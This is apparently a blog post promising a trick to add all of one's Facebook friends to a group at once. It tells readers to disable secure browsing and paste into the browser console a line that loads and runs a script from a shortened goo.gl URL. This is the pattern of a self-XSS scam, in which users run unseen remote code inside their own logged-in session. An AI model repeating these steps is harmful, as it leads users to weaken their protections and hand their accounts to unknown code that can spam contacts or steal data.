Add all your friends to a Facebook group at once!

Share some love, will you?

It can be pretty tedious if you open a new group on Facebook and invite all your friends one by one to join the group. So, to ease your task we have got some pretty slick trick whereby you will simply perform two to three steps and all of your friends will be added to the Facebook group at once!

Update : The older method does not work, so try this new one. It works fine.

New Method :

Drag this bookmark and place it on your bookmarks bar. Then click it when you are on the group where you want to add your friends. It will automatically start adding friends. It also shows you the process (i.e how many have been added so far) so that you can close the tab whenever you like.

Add Friends (bookmarklet)

Old Method (Does not work anymore) :

For this to work, you need to disable secure browsing for a while. You can again enable secure browsing once you complete doing this.

To disable secure browsing, go to Account Settings > Security > Secure Browsing.

Remove the tick mark and click on Save changes.

Then, follow this guide according to your web browser.

 

Google Chrome 

  • Go to your Group where you want to invite/add all of your friends.
  • Right click and press on Inspect Element.
  • Select Console.
  • Paste the following on Console :

document.body.appendChild(document.createElement('script')).src='http://goo.gl/7Q26z';

  • Press Enter.
  • Wait until the texts stop appearing on the Console window, all of your friends are being added to the group. When it is finished, you will see a similar notice :

 

Mozilla FireFox

  • Go to your Group where you want to invite/add all of your friends.
  • Press Ctrl+Shift+K
  • A new area will pop down from the address bar.
  • Paste the following code there (See Picture):

document.body.appendChild(document.createElement('script')).src='http://goo.gl/7Q26z';

  • Press Enter.
  • Wait until all of your friends are invited. When it is done, you'll see a similar notice :

2 Comments

  • It's Working Thanks :)

  • It has stopped working as of 10-23-2013. Any update or patch?

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